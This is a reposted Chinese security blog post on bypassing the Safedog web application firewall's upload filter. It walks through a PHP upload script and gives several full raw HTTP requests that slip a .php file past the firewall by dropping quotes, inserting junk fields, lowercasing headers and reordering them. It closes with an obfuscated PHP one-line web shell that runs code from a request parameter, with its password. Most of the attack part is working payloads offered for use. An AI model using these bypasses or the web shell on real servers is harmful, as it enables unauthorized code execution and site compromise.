文章转载至科拉实验室,作者倾旋@科拉实验室
Part 1 分析
此文主要研究安全狗的数据包分析功能,由于很多人都认为安全狗是通过正则去匹配的,那么暂且那么说吧。这款应用层的WAF的确在测试中让人头大。那么安全狗是如何分析我们的数据的呢?
在这里我做了一个拓扑图:
Part 2 测试过程
测试系统:WINXP
脚本语言:PHP5.4.45
WEB服务器:Apache/2.4.23(Win32)
安全狗版本:3.5.12048
目前,用一个PHP
上传文件的脚本来做上传测试。
<?php if ((($_FILES["file"]["type"] == "image/gif") || ($_FILES["file"]["type"] == "image/jpeg") || ($_FILES["file"]["type"] == "image/pjpeg")) && ($_FILES["file"]["size"] < 20000)) { if ($_FILES["file"]["error"] > 0) { echo "Error: " . $_FILES["file"]["error"] . "<br />"; } else { echo "Upload: " . $_FILES["file"]["name"] . "<br />"; echo "Type: " . $_FILES["file"]["type"] . "<br />"; echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />"; echo "Stored in: " . $_FILES["file"]["tmp_name"]; } } else { echo "Invalid file"; } ?>
这个程序首先会判断文件类型是否是图片类型,若不是就输出“Invalid file
”。
那么其中的 image/* 是什么呢?
这个值是叫做MIME类型,常见的类型如下:
超文本标记语言 .html .htm :Text/html
普通文本 .txt:Text/plain
JPEG图形.jpeg .jpg: Image/jpeg
由于过多就不多举例了。
通常的普通上传一般只过滤这个MIME类型,由此引发了很多上传漏洞。既然能引发上传漏洞,那么根本的原因是什么呢?
就由于文件类型可控,所以可以伪造数据包中的MIME类型,上传文件。(由此我们可以看出,简单的判断MIME类型是远远不够的,还要限制文件扩展名)
我首先使用BurpSuite分析,抓取上传的数据包做测试。
可以看到已经拦截了上传的数据包,并且返回了拦截的警报信息。
一般情况下,我都会手工去测试它的拦截方式,以及黑名单。
那么这个黑名单包含了哪些呢?
安全狗的黑名单:*.asa\*.asp\*.php\*.asax\*.aspx\*.cer\*.cdx\*.cgi\*.exe\*.dll\*.jsp\*.asmx
等等
现在进入正题,分析我们数据包中的特征。
POST /upload.php HTTP/1.1 Host: 192.168.1.103 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.1.103/ Cookie: safedog-flow-item=0AECAC9EDC7261 Connection: keep-alive Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=---------------------------3437176296980 Content-Length: 344 -----------------------------3437176296980 Content-Disposition: form-data; name="file"; filename="AutoLoad.class.php" Content-Type: image/jpeg -----------------------------3437176296980 Content-Disposition: form-data; name="submit" Submit -----------------------------3437176296980--
第一个猜想,它可能会直接取filename的值?
(在HTTP
协议中,也是键值对的结构。 Key="Value"
;)
[键]=“值”
此时filename="test.php
"中的filename
就是key
,test.php
就是值。
安全狗可能取的就是其中的值,直接匹配名为filename的键对应的值。
第二个猜想,它会匹配所有filename
对应的值吗?
我们将:
Content-Disposition:form-data;name="file";filename="AutoLoad.class.php"
更改成
Content-Disposition:form-data;name="file";filename=”test.jpg”;filename="AutoLoad.class.php"
此时测试上传发现还是不行。
总结一下:它会取得所有的filename对应的值。
在之前我们就强调了格式:
key="value"
;我们把双引号去除,试一试?
此时上传成功
原因:原生(未修改)的数据包
filename
为最后一个键,这个键对应的值是没有";"的。但是http协议中,我们根据正规格式构造,安全狗就匹配不到filename
的值。再后来我发现还有更多的方法:
- 花式剔除
- 垃圾值填充
- 大小写混淆
- 上下文互换
- 还有很多办法,不一个一个举例了
Part 3 秀出姿势
花式剔除测试过程:
在上传数据包中,
Content-Disposition:
form-data;
的意思是内容描述,form-data
的意思是来自表单的数据,但是即使不写form-data
,apache
也接受。也可以填入不相关的值:
POST /upload.php HTTP/1.1 Host: 192.168.1.103 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.1.103/ Cookie: safedog-flow-item=0AECAC9EDC7261 Connection: keep-alive Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=---------------------------3437176296980 Content-Length: 364 -----------------------------3437176296980 Content-Disposition: AAAAAAAAAAAAAAA="BBBBBBBBBBBBBBBBBB" ; name="file"; filename="AutoLoad.class.php" Content-Type: Content-Type: image/jpeg -----------------------------3437176296980 Content-Disposition: form-data; name="submit" Submit -----------------------------3437176296980--
后续我就直接贴上数据包了,因为全部是成功
Bypass
的。下面来看看大小写:
Content-Disposition:form-data;name="file"; filename="test.php" content-disposition:form-data;name="file"; filename="test.php"将列名改成小写也是可以被
Apache
接受的。POST /upload.php HTTP/1.1 Host: 192.168.1.103 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.1.103/ Cookie: safedog-flow-item=0AECAC9EDC7261 Connection: keep-alive Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=---------------------------3437176296980 Content-Length: 343 -----------------------------3437176296980 content-disposition: form-data; name="file"; filename="AutoLoad.class.php" Content-Type: image/jpeg -----------------------------3437176296980 Content-Disposition: form-data; name="submit" Submit -----------------------------3437176296980--
上下文互换测试过程:
我们发现在默认的上传文件数据包中,MIME类型是在内容描述后面的,我们将MIME类型放在内容描述之前也是可以绕过WAF
POST /upload.php HTTP/1.1 Host: 192.168.1.103 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.1.103/ Cookie: safedog-flow-item=0AECAC9EDC7261 Connection: keep-alive Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=---------------------------3437176296980 Content-Length: 343 -----------------------------3437176296980 Content-Type: image/jpeg Content-Disposition: form-data; name="file"; filename="AutoLoad.class.php" Content-Type: image/jpeg -----------------------------3437176296980 Content-Disposition: form-data; name="submit" Submit -----------------------------3437176296980--
后面我们发现只要在
Content-Disposition
上方插入任意字符,或者在form-data
的位置放置任意字符,都可以绕过WAF
....当然,垃圾值也可以填充在默认数据包中的内容描述上方:
POST /upload.php HTTP/1.1 Host: 192.168.1.103 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.1.103/ Cookie: safedog-flow-item=0AECAC9EDC7261 Connection: keep-alive Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=---------------------------3437176296980 Content-Length: 343 -----------------------------3437176296980 AAAAAAAA:filename="aaaaaaa.php"; Content-Disposition: form-data; name="file"; filename="AutoLoad.class.php" Content-Type: image/jpeg -----------------------------3437176296980 Content-Disposition: form-data; name="submit" Submit -----------------------------3437176296980--
Part 4 分享
另外再附送一颗过狗一句话(
PHP
):<?php $p = array(‘f‘=>‘a‘, #afffffffff ‘pffff‘=>‘s‘/*223* 1*/, ‘e‘=>‘fffff‘,//FJKSJKFSNMFSSDSDS//D*SA/*DSA&*[email protected]&[email protected]&(#*( ‘lfaaaa‘=>‘r‘,//FJKSJKFSNMFSSDSDS//D*SA/*DSA&*[email protected]&[email protected]&(#*(; ‘nnnnn‘=>‘t‘//&[email protected]&(#*(; );//&[email protected]&(#*(; $a = array_keys($p);//9*9*5656 @$_=$p[‘pffff‘].#/*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*/ $p[‘pffff‘].$a[2]; @$_=#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ $p[‘f‘]./*-/*-*/$_.#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ $p[‘lfaaaa‘].$p[‘nnnnn‘];#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @$_#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ #@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ($_REQUEST[#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ #@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ‘username‘#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ #@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ]); ?>密码是username